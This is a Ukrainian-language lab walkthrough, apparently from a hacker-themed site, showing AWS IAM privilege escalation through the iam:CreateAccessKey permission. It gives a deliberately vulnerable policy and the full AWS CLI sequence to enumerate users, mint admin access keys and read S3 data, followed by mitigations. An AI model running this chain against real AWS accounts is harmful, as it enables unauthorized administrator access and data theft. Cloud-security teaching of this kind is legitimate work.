_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/cloud/aws_iam_createaccesskey_privilege_escalation // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AWS#IAM#ENUMERATION#PRIVILEGE ESCALATION
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

Хоча постачальники хмарних послуг відповідають за безпеку самої інфраструктури, клієнти несуть відповідальність за безпеку всього, що вони розгортають у хмарі, включаючи правильні конфігурації. У цій лабораторній роботі ми покажемо, як користувач IAM із низькими привілеями може зловживати дозволом iam:CreateAccessKey, коли йому дозволено створювати ключі доступу для іншого користувача IAM, який має розширені права, що призводить до ескалації привілеїв. Цей сценарій підкреслює поширену помилку в політиках IAM, яка може становити серйозну загрозу безпеці.

Зміст

  • Про IAM:CreateAccessKey
  • Налаштування лабораторії та попередні вимоги
  • Частина 1: Налаштування лабораторії IAM
  • Створення високопривілейованого користувача IAM
  • Створення низькопривілейованого користувача IAM
  • Частина 2: Перерахунок та експлуатація
  • Попередні вимоги для пентесту
  • Налаштування AWS CLI з обліковими даними низькопривілейованого користувача
  • Перерахунок користувачів IAM за допомогою AWS CLI
  • Експлуатація iam:CreateAccessKey
  • Аналіз
  • Рекомендації
  • Висновок

Про IAM:CreateAccessKey

Дія API iam:CreateAccessKey дозволяє керувати обліковими даними користувачів AWS. У контексті безпеки AWS «зловживання дозволом iam:CreateAccessKey» означає техніку ескалації привілеїв, коли користувач із обмеженими правами створює ключі доступу для іншого користувача IAM (зазвичай з вищими привілеями), а потім використовує ці ключі для отримання несанкціонованого доступу.

Дія API CreateAccessKey генерує новий ідентифікатор ключа доступу (Access Key ID) та секретний ключ (Secret Access Key) для вказаного користувача IAM або для того, хто робить запит.

Налаштування лабораторії та попередні вимоги

  • Акаунт AWS
  • Віртуальна машина Kali Linux

Частина 1: Налаштування лабораторії IAM

Нижче наведено інструкції з налаштування середовища. Ми отримаємо доступ до консолі AWS, налаштуємо інтерфейс командного рядка AWS (CLI), створимо користувачів IAM та приєднаємо політику з дозволом CreateAccessKey.

Користувачі:

  • lgt_admin: Високий рівень доступу (Адміністратор).
  • lgt_raj: Базовий доступ, але з ризикованими дозволами.

Назва політики:

  • Vuln_create_access_key: Дозволяє користувачеві створювати ключі доступу.

Створення високопривілейованого користувача IAM

Перейдіть до IAM > Users, потім натисніть Create user, щоб створити нову ідентичність IAM.

  • Вкажіть ім’я користувача (User name, наприклад, lgt_admin) і натисніть Next, щоб перейти до налаштування дозволів.

  • Для налаштування дозволів користувача lgt_admin виберіть параметр Attach policies directly (Приєднати політики безпосередньо) у розділі Permissions options.
  • У розділі Permission Policies (Політики дозволів) виберіть AdministratorAccess.

AdministratorAccess — В AWS політика AdministratorAccess є вбудованою політикою, яка при приєднанні до користувача, групи або ролі надає повний доступ до всіх сервісів і ресурсів в акаунті. Таким чином, це робить даного користувача «високопривілейованою» ціллю для нашої лабораторної роботи.

AWS IAM CreateAccessKey Privilege Escalation

Створення низькопривілейованого користувача IAM

  • Створіть ще одного користувача IAM (наприклад, lgt_raj) та перейдіть до налаштування дозволів.

  • Виберіть параметр Attach policies directly (Приєднати політики безпосередньо) у розділі Permissions options.
  • Тепер натисніть Create Policy (Створити політику).

  • Напишіть власну політику, щоб надати користувачу lgt_raj певні дозволи.

  • iam:CreateAccessKey — Дозволяє створювати нові ключі доступу (Access Key ID / Secret Key) для вказаного користувача IAM.

  • iam:ListUsers — Виводить список усіх користувачів IAM в акаунті AWS.

  • iam:ListAttachedUserPolicies — Виводить список усіх керованих політик, приєднаних до конкретного користувача IAM.

  • iam:GetUser — Отримує детальну інформацію про вказаного користувача IAM (або про самого себе, якщо користувача не вказано).

  • iam:GetPolicy — Отримує метадані про керовану політику IAM.

  • iam:GetPolicyVersion — Отримує документ конкретної версії керованої політики IAM.

{
              "Version": "2012-10-17",
              "Statement": [
                             {
                                           "Effect": "Allow",
                                           "Action": [
                                                          "iam:CreateAccessKey",
                                                          "iam:ListUsers",
                                                          "iam:ListAttachedUserPolicies",
                                                          "iam:GetUser",
                                                          "iam:GetPolicy",
                                                          "iam:GetPolicyVersion"
                                           ],
                                           "Resource": "*"
                             }
              ]
}

Ось як виглядає політика після додавання відповідних дій.

AWS IAM CreateAccessKey Privilege Escalation

  • Вкажіть деталі політики, такі як назва (Vuln_create_access_key) та опис, як показано на скріншоті.

  • Призначте політику Vuln_create_access_key користувачеві lgt_raj.

AWS IAM CreateAccessKey Privilege Escalation

  • Нарешті, створіть ключі доступу (Create access key) для lgt_raj. Виберіть Command Line Interface (CLI) як сценарій використання (use case).

Частина 2: Перерахунок та експлуатація IAM

Чому дозвіл CreateAccessKey може використовуватися для іншого користувача IAM?

Іноді довіреному користувачу дозволяють генерувати ключі доступу для іншого користувача IAM у таких випадках:

  • Аварійний доступ — коли адміністратор недоступний.
  • Ситуації «Break-glass» — для термінових завдань із відновлення системи.
  • Автоматизація — у скриптах, які керують ключами або виконують їх ротацію.

Примітка:

Дозвіл користувачам створювати ключі доступу для інших може призвести до ескалації привілеїв, це важко відстежити і це порушує принцип найменших привілеїв. Цей дозвіл слід використовувати з надзвичайною обережністю.

«Ми рекомендуємо покладатися на тимчасові облікові дані, а не створювати довгострокові, такі як ключі доступу. Замість цього використовуйте ролі для тимчасового доступу». AWS IAM Best Practices

Попередні вимоги

  • Машина для пентесту: Kali Linux.
  • Тестові облікові дані: Access Key + Secret + Region користувача lgt_raj.
  • Інструменти: AWS-CLI (sudo apt install awscli).

Налаштування AWS CLI з обліковими даними низькопривілейованого користувача

Налаштуйте профіль AWS CLI, використовуючи дані користувача lgt_raj.

Програма запропонує ввести AWS Access Key ID, AWS Secret Access Key та регіон за замовчуванням.

aws configure set profile.Igt_raj.aws_access_key_id <rajUser_AccessKey>
aws configure set profile.Igt_raj.aws_secret_access_key <rajUser_SecretKey>
aws configure set profile.Igt_raj.region us-east-1

AWS IAM CreateAccessKey Privilege Escalation

Виконання команди get-caller-identity повертає деталі профілю, такі як ID користувача та ARN. Зверніть особливу увагу на ARN, оскільки він унікально ідентифікує ресурс.

aws sts get-caller-identity --profile Igt_raj

Перерахунок користувачів IAM за допомогою AWS CLI

Починаємо справжню гру. Виконайте наступну команду — вона виведе список усіх користувачів IAM в акаунті AWS.

aws iam list-users --profile Igt_raj

Далі ідентифікуємо приєднані політики. Наступна команда показує, що користувач lgt_raj має приєднану політику CreateAccessKey, що вказує на можливий ризик ескалації привілеїв.

aws iam list-attached-user-policies --user-name Igt_raj --profile Igt_raj

AWS IAM CreateAccessKey Privilege Escalation

Використовуйте наступну команду, щоб отримати метадані політики, включаючи її ARN та ID версії за замовчуванням (v2). Це вказує на те, що політика була оновлена, і саме версію v2 слід вивчати для аналізу чи експлуатації.

aws iam get-policy --policy-arn arn:aws:iam::513869214449:policy/Vuln_create_access_key --profile Igt_raj

Виконання цієї команди покаже всі дії (actions), ефекти (effects) та фактичний зміст політики.

aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_create_access_key --version-id v2 --profile Igt_raj

Експлуатація IAM CreateAccessKey

Тепер спробуємо виконати команду для створення нового користувача.

aws s3 ls --profile Igt_raj

Ця дія буде відхилена (Denied), оскільки жодна політика, заснована на ідентичності, не дозволяє цього.

AWS IAM CreateAccessKey Privilege Escalation

Наступний крок — це реальна експлуатація політики CreateAccessKey. Ми робимо запит на отримання довгострокових облікових даних для користувача lgt_admin.

aws iam create-access-key --user-name Igt_admin –profile Igt_raj

Тепер ми налаштуємо наші облікові дані AWS CLI відповідно до отриманих вище результатів (використовуючи Access Key ID та Secret Access Key адміністратора lgt_admin).

aws configure

Знову скористайтеся цією командою, щоб перевірити, чи все працює. Цього разу операція пройде успішно, оскільки тепер ми діємо з правами адміністратора.

aws s3 ls

Виведіть список ваших S3-кошиків (buckets). Тут у виводі ви можете побачити текстові файли:

aws s3 ls s3://igt-bucket

Завантажте текстовий файл на свою локальну машину:

aws s3 cp s3://igt-bucket/proof.txt file_admin.txt

Виведіть вміст файлу на екран:

cat file_admin.txt

AWS IAM CreateAccessKey Privilege Escalation

Аналіз

Ця лабораторна робота підсвічує типову прогалину в безпеці — надмірно поблажливі політики IAM, у яких відсутні належні обмеження. Такі конфігурації можна легко експлуатувати, якщо їх ретельно не перевіряти та не контролювати. Вектор ескалації привілеїв був наступним:

lgt_raj → list-users / get-user → Наявність дозволу CreateAccessKey → create-access-key на користувача-адміністратора → Отримання облікових даних Admin → Налаштування CLI → Отримано доступ адміністратора

Такі помилки конфігурації можуть виникати через:

  • Надмірно поблажливі політики довіри без обмежень на рівні ресурсів (“Resource”: ”*”).
  • Неналежний розподіл ролей.
  • Порушення принципу найменших привілеїв (Least Privilege Principle).

Рекомендації

  • Обмеження прав: Уникайте надання користувачам дозволу iam:CreateAccessKey щодо інших осіб, якщо це не є абсолютно необхідним.
  • Тимчасові дані: Використовуйте тимчасові облікові дані за допомогою sts:AssumeRole.
  • Логування та алертинг: Моніторьте створення нових ключів за допомогою AWS CloudTrail та налаштовуйте сповіщення (alerts) на підозрілі дії.
  • Політики керування сервісами: Використовуйте Service Control Policies (SCPs) для глобальних обмежень в організації.
  • Уникайте вайлдкардів: Ніколи не використовуйте Resource: ”*” у критичних політиках IAM.

Висновок

Дана лабораторна робота успішно демонструє сценарій ескалації привілеїв в AWS за допомогою iam:CreateAccessKey та надмірно поблажливої політики довіри. Вона підкреслює необхідність обережного та суворого впровадження політик дозволів у хмарних середовищах.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...